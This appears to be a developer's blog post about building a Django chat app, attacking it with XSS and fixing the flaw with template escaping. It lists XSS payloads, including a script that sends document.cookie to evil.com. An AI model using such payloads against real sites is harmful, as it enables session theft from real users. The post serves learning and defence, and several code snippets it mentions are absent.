Day 3 – I Built a Chat App in Django and Hacked It with XSS (Then Fixed It)

🧭 Introduction
Hey friends! 👋
Welcome back to Day 3 of my Django + AppSec journey. Today was wildly productive — I built a working chat interface, discovered an XSS vulnerability, and patched it using Django’s native tools.
This post is part backend diary, part security lab. If you’re someone who likes to build fast, break things, and then make them secure — this one’s for you.Learning by breaking — security meets development
💬 Part 1: Building the Chat Interface
The goal was simple: create a clean, minimal chat UI with Django templates and Bootstrap. I focused on the core features:
Chat room list (
index.html
)Actual chat interface (
room.html
)Input box, message feed, and scroll-to-latest feature
A sprinkle of JavaScript to keep things snappy
Console.log → message sent
The First Attack Failed , So i Tweaked Django , It was automatically escaping the message tags
🔥 Part 2: Exploiting My Own Chat App (XSS)
Once the UI was working, the hacker in me couldn’t resist. What if I typed this in the chat?
💥 And it worked.
The alert popped. Right there in my own app.
That meant any user could run arbitrary scripts in another user's browser. That's textbook Cross-Site Scripting (XSS) — one of the top web vulnerabilities on the OWASP Top 10.
Then I tested a more dangerous one:
<script>alert("XSS")</script>
<img src=x onerror=alert("XSS")>
<iframe src="javascript:alert('XSS')"></iframe>
<script>fetch("https://evil.com?cookie=" + document.cookie)</script>
With this, I could’ve stolen someone's session. (Of course, I didn’t — just tested locally. But yeah, serious stuff.)
🛡️ Part 3: Fixing It with Django
Now to fix it. The vulnerability was in the way I displayed user messages in the template:
This outputs raw HTML, which means any script tag gets rendered. To fix this, I used Django’s escape filter:
That tells Django to treat the message as plain text, not code.
🧠 Key Takeaways (Today’s Lessons)
1. Django Escapes by Default — Use It
Always escape user input unless you're 100% sure it’s safe.
If in doubt, pipe |escape
to it.
2. Breaking Your Own Code is the Best Learning
Security bugs aren't always obvious — especially in dynamic features like chat. Test them. Attack them. Learn from them.
3. Screenshots Tell Stories Better than Code
When documenting security bugs, screenshots make everything real — from a harmless message to a malicious popup.
🔧 Debugging Moments
- Form Didn’t Submit?
Turns out my JavaScript was targeting the wrongform
ID.
GitHub Repo : https://github.com/h4tz/CHAT_APP
Previous Post : Day 2
Subscribe to my newsletter
Read articles from hari directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
